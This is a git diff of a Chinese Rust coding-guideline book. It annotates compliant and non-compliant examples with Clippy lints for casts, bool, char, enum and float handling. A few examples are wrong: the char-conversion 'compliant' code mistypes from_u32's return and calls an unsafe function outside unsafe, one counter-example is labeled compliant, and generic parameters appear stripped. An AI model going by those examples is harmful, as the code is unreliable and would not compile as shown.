assert_eq!(i.get(), 2); } ``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| --------- | ------------- | ------------ | ---------- | ---------- | -| _ | no | no | _ | yes | - -**【定制化参考】** - -可以检测 match分支中 Guard 的 if 表达式是否使用 `{}` ,如果是的话,发出警告,不要带有副作用。 - - diff --git a/src/safe-guides/coding_practice/control-flow/P.CTF.01.md b/src/safe-guides/coding_practice/control-flow/P.CTF.01.md index e2fe34ab..b786e452 100644 --- a/src/safe-guides/coding_practice/control-flow/P.CTF.01.md +++ b/src/safe-guides/coding_practice/control-flow/P.CTF.01.md @@ -14,8 +14,6 @@ pub fn functional_blur(input: &Matrix) -> Matrix { assert!(input.width >= 3); assert!(input.height >= 3); - // Stash away the top and bottom rows so they can be - // directly copied across later let mut rows = input.rows(); let first_row = rows.next().unwrap(); let last_row = rows.next_back().unwrap(); @@ -44,18 +42,15 @@ fn blur_rows<'a>( middle_row: &'a [f32], bottom_row: &'a [f32], ) -> impl Iterator + 'a { - // stash away the left-most and right-most elements so they can be copied across directly. + // 不符合: 使用迭代器处理矩阵变换,代码不直观 + let &first = middle_row.first().unwrap(); let &last = middle_row.last().unwrap(); - // Get the top, middle, and bottom row of our 3x3 sub-matrix so they can be - // averaged. let top_window = top_row.windows(3); let middle_window = middle_row.windows(3); let bottom_window = bottom_row.windows(3); - // slide the 3x3 window across our middle row so we can get the average - // of everything except the left-most and right-most elements. let averages = top_window .zip(middle_window) .zip(bottom_window) @@ -77,14 +72,13 @@ pub fn imperative_blur(input: &Matrix) -> Matrix { assert!(input.width >= 3); assert!(input.height >= 3); - // allocate our output matrix, copying from the input so - // we don't need to worry about the edge cases. let mut output = input.clone(); for y in 1..(input.height - 1) { for x in 1..(input.width - 1) { let mut pixel_value = 0.0; + // 符合: 直接使用数组计算坐标更加直观方便 pixel_value += input[[x - 1, y - 1]]; pixel_value += input[[x, y - 1]]; pixel_value += input[[x + 1, y - 1]]; diff --git a/src/safe-guides/coding_practice/control-flow/P.CTF.02.md b/src/safe-guides/coding_practice/control-flow/P.CTF.02.md index d64d6826..a5535544 100644 --- a/src/safe-guides/coding_practice/control-flow/P.CTF.02.md +++ b/src/safe-guides/coding_practice/control-flow/P.CTF.02.md @@ -8,13 +8,13 @@ Rust 中 模式匹配 是惯用法,而不是通过 `if` 判断值是否相等 ```rust let opt: Option<_> = ...; - + // 不符合 if opt.is_some() { let value = opt.unwrap(); ... } - // or +// 不符合 let list: &[f32] = ...; if !list.is_empty() { @@ -27,13 +27,12 @@ Rust 中 模式匹配 是惯用法,而不是通过 `if` 判断值是否相等 **【正例】** ```rust +// 符合 if let Some(value) = opt { ... } -// or +// 符合 if let [first, ..] = list { ... } ``` ---- - diff --git a/src/safe-guides/coding_practice/data-type/G.TYP.01.md b/src/safe-guides/coding_practice/data-type/G.TYP.01.md index fa7f4d77..fb0d9725 100644 --- a/src/safe-guides/coding_practice/data-type/G.TYP.01.md +++ b/src/safe-guides/coding_practice/data-type/G.TYP.01.md @@ -4,39 +4,61 @@ **【描述】** -Rust 的 `as` 转换包含了「静默的有损转换(lossy conversion)」。诸如 `i32::from` 之类的转换函数只会执行无损转换(lossless conversion)。 如果输入表达式的类型发生变化,使用转换函数可以防止转换变成无声的有损转换,并使阅读代码的人更容易知道转换是无损的。 +当在数字类型之间转换时,需要注意的是,如果要确保不会存在有损转换(lossy conversion),就不要使用 `as`,而应该使用 `From::from`。因为 From 只实现了无损转换。例如,可以用From从i32转换到i64,但反过来转换却不允许。 + +对于指针类型,尽量使用 `cast`方法来代替 `as` 直接转换。 **【反例】** ```rust +#![warn( + clippy::as_conversions, + clippy::cast_lossless, + clippy::cast_possible_truncation, + clippy::cast_possible_wrap, + clippy::cast_precision_loss, + clippy::ptr_as_ptr +)] + fn as_u64(x: u8) -> u64 { + // 不符合 x as u64 } // or -let a: u32; -f(a as u16); -// or -let ptr: *const u32 = &42_u32; -let mut_ptr: *mut u32 = &mut 42_u32; -let _ = ptr as *const i32; -let _ = mut_ptr as *mut i32; + +// 不符合 +fn main() { + // or + let ptr: *const u32 = &42_u32; + let mut_ptr: *mut u32 = &mut 42_u32; + let _ = ptr as *const i32; // 不符合 + let _ = mut_ptr as *mut i32; // 不符合 +} ``` **【正例】** ```rust +#![warn( + clippy::as_conversions, + clippy::cast_lossless, + clippy::cast_possible_truncation, + clippy::cast_possible_wrap, + clippy::cast_precision_loss, + clippy::ptr_as_ptr +)] + fn as_u64(x: u8) -> u64 { + // 符合 u64::from(x) } -// or -f(a.try_into()?); -// or -f(a.try_into().expect("Unexpected u16 overflow in f")); -// or -let ptr: *const u32 = &42_u32; -let mut_ptr: *mut u32 = &mut 42_u32; -let _ = ptr.cast::(); -let _ = mut_ptr.cast::(); + +fn main() { + let ptr: *const u32 = &42_u32; + let mut_ptr: *mut u32 = &mut 42_u32; + let _ = ptr.cast::(); // 符合 + let _ = mut_ptr.cast::(); // 符合 +} ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/data-type/G.TYP.02.md b/src/safe-guides/coding_practice/data-type/G.TYP.02.md index ca3b9740..7dd9a6c5 100644 --- a/src/safe-guides/coding_practice/data-type/G.TYP.02.md +++ b/src/safe-guides/coding_practice/data-type/G.TYP.02.md @@ -9,6 +9,8 @@ **【反例】** ```rust +#![warn(clippy::default_numeric_fallback)] +// 符合 let i = 10; // i32 let f = 1.23; // f64 ``` @@ -16,6 +18,9 @@ let f = 1.23; // f64 **【正例】** ```rust +#![warn(clippy::default_numeric_fallback)] + +// 符合 let i = 10u32; let f = 1.23f32; ``` diff --git a/src/safe-guides/coding_practice/data-type/G.TYP.03.md b/src/safe-guides/coding_practice/data-type/G.TYP.03.md index 93552e7f..c1902c04 100644 --- a/src/safe-guides/coding_practice/data-type/G.TYP.03.md +++ b/src/safe-guides/coding_practice/data-type/G.TYP.03.md @@ -1,4 +1,4 @@ -## G.TYP.03 不应用数字类型边界值判断能否安全转换,而应使用 `try_from` 方法 +## G.TYP.03 不要用数字类型边界值判断能否安全转换,而应使用 `try_from` 方法 **【级别】** 建议 @@ -11,6 +11,9 @@ **【反例】** ```rust +#![warn(clippy::checked_conversions)] + +// 不符合 let foo: u32 = 5; let _ = foo <= i16::MAX as u32; // 等价于 let _ = foo <= (i32::MAX as u32); ``` @@ -18,6 +21,9 @@ let _ = foo <= i16::MAX as u32; // 等价于 let _ = foo <= (i32::MAX as u32); **【正例】** ```rust +#![warn(clippy::checked_conversions)] + +// 符合 let foo: u32 = 5; let f = i16::try_from(foo).is_ok(); // 返回 false ``` diff --git a/src/safe-guides/coding_practice/data-type/P.TYP.01.md b/src/safe-guides/coding_practice/data-type/P.TYP.01.md index a0b92b68..2fbf2572 100644 --- a/src/safe-guides/coding_practice/data-type/P.TYP.01.md +++ b/src/safe-guides/coding_practice/data-type/P.TYP.01.md @@ -1,4 +1,4 @@ -## P.TYP.01 必要时,应使类型可以表达更明确的语义,而不是只是直接使用原生类型 +## P.TYP.01 必要时,应使类型可以表达更明确的语义,而不是只是直接使用原生类型 **【描述】** @@ -8,6 +8,7 @@ ```rust fn main() { + // 不符合 let years = 1942; } ``` @@ -15,13 +16,12 @@ fn main() { **【正例】** ```rust +// 符合: 语义更明确 struct Years(i64); fn main() { let years = Years(1942); - let years_as_primitive_1: i64 = years.0; // Tuple - let Years(years_as_primitive_2) = years; // Destructuring + let years_as_primitive_1: i64 = years.0; + let Years(years_as_primitive_2) = years; } ``` - ---- diff --git a/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.01.md b/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.01.md index 2cbbd2d7..9443d64c 100644 --- a/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.01.md +++ b/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.01.md @@ -14,12 +14,18 @@ **【反例】** ```rust +#![warn(clippy::large_stack_arrays)] + +// 不符合 pub const A: [u32;1_000_000] = [0u32; 1_000_000]; ``` **【正例】** ```rust +#![warn(clippy::large_stack_arrays)] + +// 符合 pub static A: [u32;1_000_000] = [0u32; 1_000_000]; ``` diff --git a/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.02.md b/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.02.md index c2a93b3f..7ae5cdde 100644 --- a/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.02.md +++ b/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.02.md @@ -9,6 +9,7 @@ **【反例】** ```rust +// 不符合 let x = [1, 2, 3, 4]; x[9]; &x[2..9]; @@ -17,6 +18,7 @@ x[9]; **【正例】** ```rust +// 符合 let x = [1, 2, 3, 4]; x[0]; x[3]; diff --git a/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.03.md b/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.03.md index d35bed10..249892a3 100644 --- a/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.03.md +++ b/src/safe-guides/coding_practice/data-type/array/G.TYP.ARR.03.md @@ -13,6 +13,7 @@ **【反例】** ```rust +// 不符合 let mut vec = vec![2, 1, 3]; vec.sort(); // stable sort ``` @@ -20,6 +21,7 @@ vec.sort(); // stable sort **【正例】** ```rust +// 符合 let mut vec = vec![2, 1, 3]; vec.sort_unstable(); // unstable sort ``` @@ -31,7 +33,7 @@ vec.sort_unstable(); // unstable sort pub fn generate_index(&self, limit_load_slot_count_from_snapshot: Option) { let mut slots = self.storage.all_slots(); #[allow(clippy::stable_sort_primitive)] - slots.sort(); // The business requirement here is to use stable sort + slots.sort(); // 商业需求这里需要稳定排序 // ... } ``` diff --git a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.01.md b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.01.md index ba041cb1..cca0626a 100644 --- a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.01.md +++ b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.01.md @@ -11,6 +11,7 @@ **【反例】** ```rust +// 不符合 if x == true {} if y == false {} @@ -21,6 +22,7 @@ assert_ne!("a".is_empty(), true); **【正例】** ```rust +// 符合 if x {} if !y {} diff --git a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.02.md b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.02.md index 9f05d751..dac8cc3b 100644 --- a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.02.md +++ b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.02.md @@ -4,14 +4,17 @@ **【描述】** -对于布尔表达式更倾向于使用 `if ... else ...`,相比较 `match` 模式匹配更有利于代码可读性。 +对于布尔表达式更倾向于使用 `if ... else ...`,相比 `match` 模式匹配更有利于代码可读性。 **【反例】** ```rust +#![warn(clippy::match_bool)] + # fn foo() {} # fn bar() {} let condition: bool = true; +// 不符合 match condition { true => foo(), false => bar(), @@ -21,9 +24,12 @@ match condition { **【正例】** ```rust +#![warn(clippy::match_bool)] + # fn foo() {} # fn bar() {} let condition: bool = true; +// 符合 if condition { foo(); } else { diff --git a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.03.md b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.03.md index e86d4659..a5804b56 100644 --- a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.03.md +++ b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.03.md @@ -11,6 +11,7 @@ ```rust let x = 1_u8; unsafe { + // 不符合 let _: bool = std::mem::transmute(x); // where x: u8 } diff --git a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.04.md b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.04.md index 0309ba0f..c2e11ab7 100644 --- a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.04.md +++ b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.04.md @@ -1,4 +1,4 @@ -## G.TYP.BOL.04 禁止在if表达式条件中使用块(block)结构 +## G.TYP.BOL.04 禁止在if表达式条件中使用块结构 **【级别】** 要求 @@ -9,19 +9,23 @@ **【反例】** ```rust +// 不符合 if { true } { /* ... */ } # fn somefunc() -> bool { true }; +// 不符合 if { let x = somefunc(); x } { /* ... */ } ``` **【正例】** ```rust +// 符合 if true { /* ... */ } # fn somefunc() -> bool { true }; let res = { let x = somefunc(); x }; +// 符合 if res { /* ... */ } ``` diff --git a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.05.md b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.05.md index c1f0e7a9..8939e857 100644 --- a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.05.md +++ b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.05.md @@ -9,15 +9,18 @@ **【反例】** ```rust +#![warn(clippy::needless_bitwise_bool)] let (x,y) = (true, false); -if x & !y {} // 位运算符,不支持短路 +if x & !y {} // 不符合:位运算符,不支持短路 ``` **【正例】** ```rust +#![warn(clippy::needless_bitwise_bool)] + let (x,y) = (true, false); -if x && !y {} // 逻辑运算符,支持短路 +if x && !y {} // 符合:逻辑运算符,支持短路 ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.06.md b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.06.md index 94c4a5d0..40a37974 100644 --- a/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.06.md +++ b/src/safe-guides/coding_practice/data-type/bool/G.TYP.BOL.06.md @@ -13,6 +13,7 @@ Rust 中布尔值就是 `true` 和 `false`。 不要试图使用数字 `1` 和 **【反例】** ```rust +// 不符合 let a = 1; let b = 0; assert_eq!(true, a == 1); @@ -22,14 +23,9 @@ assert_eq!(false, b == 0); **【正例】** ```rust +// 符合 let a = true; let b = false; -assert_eq!(1, a as u32); -assert_eq!(0, b as u32); +assert_eq!(true, a ); +assert_eq!(false, b); ``` - -【例外】 - -FFi 时从外部传入数字 - ---- diff --git a/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.01.md b/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.01.md index d61e0597..daec7ace 100644 --- a/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.01.md +++ b/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.01.md @@ -4,17 +4,19 @@ **【描述】** -应该使用字节字面量去代替将字符字面量强转为 `u8`。 +应该使用字节字面量,而不应使用字符字面量强转为 `u8`。 **【反例】** ```rust +// 不符合 'x' as u8 ``` **【正例】** ```rust +// 符合 b'x' ``` diff --git a/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.02.md b/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.02.md index 01ac1ce1..32a46e84 100644 --- a/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.02.md +++ b/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.02.md @@ -9,6 +9,7 @@ **【反例】** ```rust +// 不符合 let s = "yxz"; s.split("x"); ``` @@ -16,6 +17,7 @@ s.split("x"); **【正例】** ```rust +// 符合 let s = "yxz"; s.split('x'); ``` diff --git a/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md b/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md index 7ddd1f19..0a6f3083 100644 --- a/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md +++ b/src/safe-guides/coding_practice/data-type/char/G.TYP.CHR.03.md @@ -11,6 +11,7 @@ ```rust let x = 37_u32; unsafe { + // 不符合 let x: char = std::mem::transmute(x); // where x: u32 assert_eq!('%', x); } @@ -21,10 +22,13 @@ unsafe { ```rust let x = 37_u32; -let x = std::char::from_u32(x).unwrap(); // 请按情况处理 None -// let x = std::char::from_u32_unchecked(x); // 如果确定该整数对应合法的unicode,可以使用 uncheck 方法加速 +// 符合:x 会返回一个 Result 类型,开发者可以进行错误处理 +let x = std::char::from_u32(x); assert_eq!('%', x); +// 符合:如果确定该整数对应合法的 unicode,可以使用 uncheck 方法加速 +let x = std::char::from_u32_unchecked(x); +assert_eq!('%', x); ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.01.md b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.01.md index 9cbff95d..1d2ff94e 100644 --- a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.01.md +++ b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.01.md @@ -14,15 +14,16 @@ 这意味着: - 当你通过 `F` 对 `U` 进行 `map` 转换的时候,意味着这个转换是一定会成功的。 -- 当你通过 `F` 对 `U` 进行 `map` 转换的时候,意味着这个转换是不一定会成功的,需要在 `F` 调用之后对其结果 `Option/Result` 进行处理。 +- 当你通过 `F` 对 `U` 进行 `and_then` 转换的时候,意味着这个转换是不一定会成功的,需要在 `F` 调用之后对其结果 `Option/Result` 进行处理。 在合适的场景中选择合适的组合算子,可以让代码更加简洁,提升可读性和可维护性。 **【反例】** ```rust -# fn opt() -> Option<&'static str> { Some("42") } -# fn res() -> Result<&'static str, &'static str> { Ok("42") } +// 不符合: 当前这种情况是一定会成功的情况,应该使用 map +fn opt() -> Option<&'static str> { Some("42") } +fn res() -> Result<&'static str, &'static str> { Ok("42") } let _ = opt().and_then(|s| Some(s.len())); let _ = res().and_then(|s| if s.len() == 42 { Ok(10) } else { Ok(20) }); let _ = res().or_else(|s| if s.len() == 42 { Err(10) } else { Err(20) }); @@ -31,11 +32,10 @@ let _ = res().or_else(|s| if s.len() == 42 { Err(10) } else { Err(20) }); **【正例】** -像这种简单的一定会成功的情况,应该使用 `map`,否则使用`and_then`。 - ```rust -# fn opt() -> Option<&'static str> { Some("42") } -# fn res() -> Result<&'static str, &'static str> { Ok("42") } +// 符合 +fn opt() -> Option<&'static str> { Some("42") } +fn res() -> Result<&'static str, &'static str> { Ok("42") } let _ = opt().map(|s| s.len()); let _ = res().map(|s| if s.len() == 42 { 10 } else { 20 }); let _ = res().map_err(|s| if s.len() == 42 { 10 } else { 20 }); diff --git a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.02.md b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.02.md index 381a3a6f..11033561 100644 --- a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.02.md +++ b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.02.md @@ -10,6 +10,10 @@ **【反例】** ```rust +#![feature(never_type)] // 当启用该功能的时候,下面的clippy才会生效 +#![warn(clippy::empty_enum)] + +// 不符合 enum Test {} ``` @@ -18,7 +22,10 @@ enum Test {} 所以,如果想在稳定版 Rust 中使用,建议使用[`std::convert::Infallible`](https://doc.rust-lang.org/std/convert/enum.Infallible.html#) 。 `Infallible` 枚举是一个合法的空枚举,常用于错误处理中,表示永远不可能出现的错误。但是目前也可以用于在稳定版中替代 `never` 类型。 ```rust -// 未来 never 类型稳定的话,将会把 Infallible 设置为 never 类型的别名 +#![feature(never_type)] // 当启用该功能的时候,下面的clippy才会生效 +#![warn(clippy::empty_enum)] + +//符合: 未来 never 类型稳定的话,将会把 Infallible 设置为 never 类型的别名 pub type Infallible = !; ``` @@ -27,6 +34,8 @@ pub type Infallible = !; 因为 [`std::convert::Infallible`](https://doc.rust-lang.org/std/convert/enum.Infallible.html#) 默认实现了很多 trait,如果不想依赖其他 trait ,那么可以用 空枚举。 ```rust +#![feature(never_type)] // 当启用该功能的时候,下面的clippy才会生效 +#![allow(clippy::empty_enum)] pub enum NoUserError {} impl Display for NoUserError { diff --git a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.03.md b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.03.md index 0cba9076..46ae054f 100644 --- a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.03.md +++ b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.03.md @@ -6,15 +6,13 @@ 在使用类似 C 语言的枚举写法且使用`repr(isize/usize)` 布局时,在32位架构上会截断变体值,但在64位上工作正常。 -但是没有这种风险的时候,可以正常使用。 - **【反例】** ```rust -#[cfg(target_pointer_width = "64")] + #[repr(usize)] enum NonPortable { - X = 0x1_0000_0000, + X = 0x1_0000_0000, // 不符合:如果在 32位架构上会截断变体值,导致该指针地址变化 Y = 0, } ``` @@ -28,12 +26,11 @@ enum NonPortable { #[repr(isize)] pub enum ZBarColor { - ZBarSpace = 0, + ZBarSpace = 0, // 符合:因为值足够小,没有截断风险 ZBarBar = 1, } -// 或者,没有指定 repr(isize/usize) - +// 符合:没有指定 repr(isize/usize) #[allow(clippy::enum_clike_unportable_variant)] pub(crate) enum PropertyType { ActionItemSchemaVersion = 0x0C003473, diff --git a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.04.md b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.04.md index 2a896cec..f013c071 100644 --- a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.04.md +++ b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.04.md @@ -9,6 +9,9 @@ **【反例】** ```rust +#![warn(clippy::enum_glob_use)] + +// 不符合 use std::cmp::Ordering::*; // 这里导入了全部变体 foo(Less); ``` @@ -16,31 +19,36 @@ foo(Less); **【正例】** ```rust +#![warn(clippy::enum_glob_use)] + +// 符合 use std::cmp::Ordering; foo(Ordering::Less) + + ``` **【例外】** -当枚举体非常多的时候,比如 [ glutin::event::VirtualKeyCode](https://docs.rs/glutin/0.27.0/glutin/event/enum.VirtualKeyCode.html) 这类对应键盘按键的枚举,并且上下文比较明确,都是在处理和 Key 相关的内容时,可以直接全部导入。 +当枚举体非常多的时候,比如 [oci_spec::Arch](https://docs.rs/crate/oci-spec/0.5.1/source/src/runtime/linux.rs#:~:text=clippy%3a%3aenum_clike_unportable_variant) 中对应平台架构的枚举值,直接用 `*` 导入会更加方便。 ```rust // From: https://github.com/alacritty/alacritty/blob/master/alacritty/src/config/bindings.rs#L368 #![allow(clippy::enum_glob_use)] +use oci_spec::Arch::*; + +pub enum Arch { + /// The native architecture. + ScmpArchNative = 0x00000000, + + /// The x86 (32-bit) architecture. + ScmpArchX86 = 0x40000003, + + /// The x86-64 (64-bit) architecture. + ScmpArchX86_64 = 0xc000003e, -pub fn default_key_bindings() -> Vec { - let mut bindings = bindings!( - KeyBinding; - Copy; Action::Copy; - Copy, +BindingMode::VI; Action::ClearSelection; - Paste, ~BindingMode::VI; Action::Paste; - L, ModifiersState::CTRL; Action::ClearLogNotice; - L, ModifiersState::CTRL, ~BindingMode::VI, ~BindingMode::SEARCH; - Action::Esc("\x0c".into()); - Tab, ModifiersState::SHIFT, ~BindingMode::VI, ~BindingMode::SEARCH; - Action::Esc("\x1b[Z".into()); - // ... - } + // ... more +} ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.05.md b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.05.md index 81ebf04a..969300a1 100644 --- a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.05.md +++ b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.05.md @@ -9,21 +9,23 @@ **【反例】** -在 `#[non_exhaustive]` 属性稳定之前,社区内还有一种约定俗成的写法来达到防止下游自定义枚举方法。通过 `manual_non_exhaustive` 可以监控这类写法。 +在 `#[non_exhaustive]` 属性稳定之前,社区内还有一种约定俗成的写法来达到防止下游自定义枚举方法。 ```rust +#![warn(clippy::exhaustive_enums)] + enum E { A, B, #[doc(hidden)] - _C, // 这里用 下划线作为前缀定义的变体,作为隐藏的变体,不对外展示 + _C, // 不符合: 这里用 下划线作为前缀定义的变体,作为隐藏的变体,不对外展示 } -// 用户无法自定义实现该 枚举的方法,达到一种稳定公开枚举的目的。 ``` **【正例】** ```rust +// 符合 #[non_exhaustive] enum E { A, diff --git a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.06.md b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.06.md index 12aad165..0b46d4e4 100644 --- a/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.06.md +++ b/src/safe-guides/coding_practice/data-type/enum/G.TYP.ENM.06.md @@ -11,6 +11,7 @@ **【反例】** ```rust +// 不符合 enum Test { A(i32), B([i32; 1000]), @@ -21,6 +22,7 @@ enum Test { **【正例】** ```rust +// 符合 enum Test { A(i32), B(Box<[i32; 1000]>), diff --git a/src/safe-guides/coding_practice/data-type/float.md b/src/safe-guides/coding_practice/data-type/float.md index c9769df2..2966c5f7 100644 --- a/src/safe-guides/coding_practice/data-type/float.md +++ b/src/safe-guides/coding_practice/data-type/float.md @@ -4,8 +4,8 @@ Rust 的浮点数包括 `f32` 和 `f64` 两种类型。Rust 编译器默认推 ## 列表 -- [G.TYP.FLT.01 使用`f32`字面量时,避免被Rust编译器截断](./float/G.TYP.FLT.01.md) +- [G.TYP.FLT.01 使用浮点数字面量时,要警惕是否存在被Rust编译器截断的风险](./float/G.TYP.FLT.01.md) - [G.TYP.FLT.02 从任何数字类型转换为`f64`类型时注意避免损失精度](./float/G.TYP.FLT.02.md) -- [G.TYP.FLT.03 对精度高要求的场景下,不应直接使用浮点数进行运算和比较](./float/G.TYP.FLT.03.md) +- [G.TYP.FLT.03 对精度高要求的场景下,使用浮点数进行运算和比较时需要注意精度损失](./float/G.TYP.FLT.03.md) - [G.TYP.FLT.04 宜使用Rust内置方法处理浮点数计算](./float/G.TYP.FLT.04.md) - [G.TYP.FLT.05 禁止在浮点数和整数相互转换时使用 transmute](./float/G.TYP.FLT.05.md) \ No newline at end of file diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.01.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.01.md index 1b7c108f..abe15582 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.01.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.01.md @@ -1,14 +1,15 @@ -## G.TYP.FLT.01 使用浮点数字面量时,避免被Rust编译器截断 +## G.TYP.FLT.01 使用浮点数字面量时,要警惕是否存在被Rust编译器截断的风险 **【级别】** 建议 **【描述】** -当指定超过 `f32` 精度的字面量值时,Rust 会默认截断该值。 +当指定超过类型精度(`f32` 或 `f64`)的字面量值时,Rust 会默认截断该值。 **【反例】** ```rust +// 不符合 let v: f32 = 0.123_456_789_9; println!("{}", v); // 0.123_456_789 ``` @@ -16,6 +17,7 @@ println!("{}", v); // 0.123_456_789 **【正例】** ```rust +// 符合 let v: f64 = 0.123_456_789_9; println!("{}", v); // 0.123_456_789_9 ``` diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.02.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.02.md index a3eece4a..15c25f6f 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.02.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.02.md @@ -4,20 +4,37 @@ **【描述】** -这种转换可能会有值的舍入错误发生。在某些对于精度要求比较高的场景需要注意。 +开发者了解发生精度损失的位置,会对解决因为转换而损失精度的问题更加有好处。 -开发者需要了解可能发生精度损失的位置,对于精度要求精确的地方更加有好处。 +**【反例】** + +```rust +#![warn(clippy::cast_precision_loss)] + +fn main(){ + // 不符合 + let x = u64::MAX; + x as f64; + // 不符合 + let x: f32 = 16_777_219.0 ; // 该数字转换为 f64 后会表示为 16_777_220.0 + x as f64; +} +``` **【正例】** ```rust -// f32 示例 -let _: f32 = 16_777_219.0 ; // 该数字转换为 f32 后会表示为 16_777_220.0 -let _: f32 = - 16_777_219.0 ; // 该数字转换为 f32 后会表示为 -16_777_220.0 - -// f64 示例 -let _: f64 = 9_007_199_254_740_993.0 ; // 该数字转换为 f32 后会表示为 9_007_199_254_740_992.0 -let _: f64 = - 9_007_199_254_740_993.0 ; // 该数字转换为 f32 后会表示为 -9_007_199_254_740_992.0 +#![warn(clippy::cast_precision_loss)] + +fn main(){ + // 符合 + let x = i32::MAX; + let y = f64::from(x); // 如果 x 为 u64 类型,则编译会出错,不接受这类转换 + // 符合 + let x: f32 = 16_777_219.0 ; + let y = f64::from(x); // 该数字转换为 f32 后会表示为 16_777_220.0 + println!("{y:?}") +} ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md index ac624133..d3cd7c56 100644 --- a/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md +++ b/src/safe-guides/coding_practice/data-type/float/G.TYP.FLT.03.md @@ -1,4 +1,4 @@ -## G.TYP.FLT.03 对精度高要求的场景下,使用浮点数进行运算和比较时需要注意 +## G.TYP.FLT.03 对精度高要求的场景下,使用浮点数进行运算和比较时需要注意精度损失 **【级别】** 建议 @@ -11,33 +11,46 @@ **【反例】** ```rust -let x = 1.2331f64; -let y = 1.2332f64; +#![warn(clippy::float_arithmetic, clippy::float_cmp, clippy::float_cmp_const)] -if y == 1.23f64 { } -if y != x {} // where both are floats +fn main(){ + let x = 1.2331f64; + let y = 1.2332f64; -// or -pub fn is_roughly_equal(a: f32, b: f32) -> bool { - (a - b) < f32::EPSILON + payment(x, y); } + +fn payment(x: f64, y: f64) -> f64{ + // 不符合: 浮点数计算有精度损失 + y - x +} + ``` **【正例】** +推荐使用精度更高的类型,比如 Decimal 类型(需要第三方库支持)。 + ```rust -let x = 1.2331f64; -let y = 1.2332f64; - -let error_margin = f64::EPSILON; // Use an epsilon for comparison -// Or, if Rust <= 1.42, use `std::f64::EPSILON` constant instead. -// let error_margin = std::f64::EPSILON; -if (y - 1.23f64).abs() < error_margin 